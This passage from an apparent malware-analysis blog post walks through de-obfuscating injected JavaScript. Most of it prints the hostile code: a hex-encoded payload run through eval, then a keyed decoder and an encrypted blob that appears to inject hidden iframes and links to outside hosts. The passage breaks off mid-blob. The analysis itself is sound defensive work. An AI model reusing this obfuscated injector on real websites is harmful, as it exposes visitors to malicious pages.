6b\x25\x32\x37\x25\x32\x39\x2e\x69\x70\x6f\x4f\x55\x2e\x54\x50\x6a\x4e\x68\x42\x74\x33\x25\x32\x37\x58\x69\x66\x54\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x5a\x53\x45\x57\x64\x55\x6a\x6a\x2e\x4a\x55\x6a\x79\x63\x43\x69\x46\x69\x6b\x25\x32\x42\x76\x25\x33\x44\x55\x25\x32\x38\x25\x32\x37\x77\x75\x64\x5f\x48\x43\x55\x55\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x32\x37\x59\x63\x66\x62\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x4c\x71\x51\x55\x6f\x2e\x65\x64\x56\x55\x68\x61\x35\x43\x62\x50\x6d\x56\x25\x32\x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>  </div></div></p>
<p><p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style="color: #006080">'f=(&lt;8=&gt;yy@=+))87=x*77.y'</span>;  <span style="color: #0000ff">function</span> blMfGaVxxxv(s) { <span style="color: #0000ff">var</span> vNbrQcGifBJ = <span style="color: #006080">''</span>; <span style="color: #0000ff">var</span> NcipcTbOcs = -1; <span style="color: #0000ff">var</span> c = 0; <span style="color: #0000ff">var</span> kDYCcFlZEm = 0; <span style="color: #0000ff">var</span> JRtzFtY = unescape(s);  <span style="color: #0000ff">for</span> (<span style="color: #0000ff">var</span> i=0;i&lt;JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); <span style="color: #0000ff">if</span> (NcipcTbOcs &gt;= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; <span style="color: #0000ff">if</span> (kDYCcFlZEm &lt; 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; <span style="color: #0000ff">if</span> (c &gt;= FzCfZkfvHvl.length) { c = 0; } } <span style="color: #0000ff">else</span> { vNbrQcGifBJ += JRtzFtY.charAt(i); } }  <span style="color: #0000ff">return</span> vNbrQcGifBJ; } eval(blMfGaVxxxv(<span style="color: #006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A